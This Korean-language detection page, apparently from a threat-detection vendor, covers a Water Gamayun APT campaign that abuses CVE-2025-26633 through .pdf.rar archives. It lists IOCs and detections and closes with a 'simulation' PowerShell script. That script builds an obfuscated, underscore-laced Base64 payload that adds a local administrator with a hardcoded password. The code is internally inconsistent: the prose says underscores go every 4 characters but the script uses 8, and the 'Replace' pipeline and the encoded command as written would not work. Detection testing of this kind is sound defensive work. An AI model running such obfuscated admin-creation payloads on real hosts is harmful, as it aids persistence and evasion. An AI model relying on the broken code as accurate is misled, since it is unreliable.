Zscaler 위협 헌팅, 워터 가마윤(Water Gamayun) APT 캠페인을 노출하고 재구성하다
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 보고서는 워터 가마윤 APT 그룹에 의한 다단계 침입을 다루며, 이는 이중 확장 RAR 아카이브로 PowerShell 페이로드를 전달하기 위해 CVE-2025-26633이라는 제로데이 MMC 취약점을 악용합니다.
조사
Zscaler는 Bing 검색 리디렉션에서부터 손상된 사이트, .pdf.rar 파일 다운로드, MSC EvilTwin 악용, 단계적 PowerShell 스크립트 실행, ItunesC.exe 백도어 실행까지의 킬 체인을 재구성했습니다.
완화
가이드는 이중 확장 아카이브 모니터링, 리디렉션 검사, 인코딩된 PowerShell 명령어 탐지 및 악의적인 IP 및 도메인 차단을 포함합니다.
대응
탐지 시, mmc.exe에서 -EncodedCommand와 함께 PowerShell을 생성하는 것을 알리고 파일을 격리하며 103.246.147.17로의 아웃바운드 연결을 차단하고 사고 대응 절차를 활성화합니다.
공격 흐름
탐지
Water Gamayun APT에 의한 악성 MMC 및 PowerShell 실행 [Windows 프로세스 생성]
보기
Water Gamayun PowerShell 혼돈 패턴 탐지 [Windows PowerShell]
보기
탐지할 IOC (DestinationIP): Zscaler 위협 헌팅으로 정교한 Water Gamayun APT 그룹 공격 발견 및 재구성
보기
탐지할 IOC (SourceIP): Zscaler 위협 헌팅으로 정교한 Water Gamayun APT 그룹 공격 발견 및 재구성
보기
탐지할 IOC (HashMd5): Zscaler 위협 헌팅으로 정교한 Water Gamayun APT 그룹 공격 발견 및 재구성
보기
시뮬레이션 실행
필수 조건: 텔레메트리 및 베이스라인 사전 점검이 통과했어야 합니다.
합리적 이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술(TTP)의 정확한 실행을 설명합니다. 명령어와 내러티브는 발견된 TTP를 직접 반영해야 하며 탐지 논리가 기대하는 정확한 텔레메트리를 생성하는 것을 목표로 합니다. 추상적이거나 관련 없는 예시는 오진으로 이어집니다.
-
공격 내러티브 및 명령어:
공격자는 Water Gamayun의 방법론을 활용하여 새로운 로컬 관리자 사용자를 작성하고 이 사용자를 관리자 그룹에 추가하는 악성 PowerShell 페이로드를 준비합니다. 페이로드를 숨기기 위해 공격자는 다음을 수행합니다:- PowerShell 스크립트를 명확한 텍스트로 작성합니다.
- 이를 UTF‑16LE Base64로 인코딩합니다.
- 엔트로피를 높이기 위해 4자마다 언더스코어 (
_)를 삽입합니다. - 다음과 같은
|Replace('_','')작업을 체인으로 연결하여 런타임 PowerShell이 언더스코어를 제거한 후 디코딩하여 탐지 서명과 일치하도록 합니다.
최종 실행 명령어는 다음과 같습니다:
powershell.exe -EncodedCommand <Base64StringWithUnderscores> | Replace('_','')이 정확한 명령줄은 Sigma 규칙의 두 가지 조건 (
-EncodedCommandand|Replace('_',''))을 만족하며 규칙이 플래그를 지정할 Sysmon EventID 1 및 Security EventID 4688 항목을 생성합니다. -
회귀 테스트 스크립트:
아래 스크립트는 난독화된 페이로드를 자동으로 생성하여 실행합니다. PowerShell 5.1+이 설치된 모든 Windows 호스트에서 실행될 수 있습니다.# Water Gamayun 스타일의 PowerShell 난독화 시뮬레이션 # Step 1: 악의적인 PowerShell 페이로드 정의 (로컬 관리자 사용자 추가) $payload = @' $user = "tempAdmin" $pwd = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force New-LocalUser -Name $user -Password $pwd -FullName "Temp Admin" -Description "Test admin account" Add-LocalGroupMember -Group "Administrators" -Member $user '@ # Step 2: UTF-16LE로 인코딩한 후 Base64로 인코딩 $bytes = [System.Text.Encoding]::Unicode.GetBytes($payload) $b64 = [Convert]::ToBase64String($bytes) # Step 3: 8자마다 언더스코어 주입 (그룹의 패턴을 시뮬레이션) $b64Underscored = ($b64 -split '(.{8})' | Where-Object {$_} | ForEach-Object { $_ + '_' }) -join '' # Step 4: 필요한 Replace('_','') 파이프라인과 함께 실행 powershell.exe -EncodedCommand $b64Underscored | Replace('_','') -
정리 명령어:
다음 명령어는 테스트 사용자를 제거하고 환경을 복원합니다.# 정리: 테스트에 의해 생성된 임시 관리자 계정을 제거 $user = "tempAdmin" if (Get-LocalUser -Name $user -ErrorAction SilentlyContinue) { Remove-LocalUser -Name $user Write-Host "Deleted test user $user." } else { Write-Host "Test user $user does not exist." }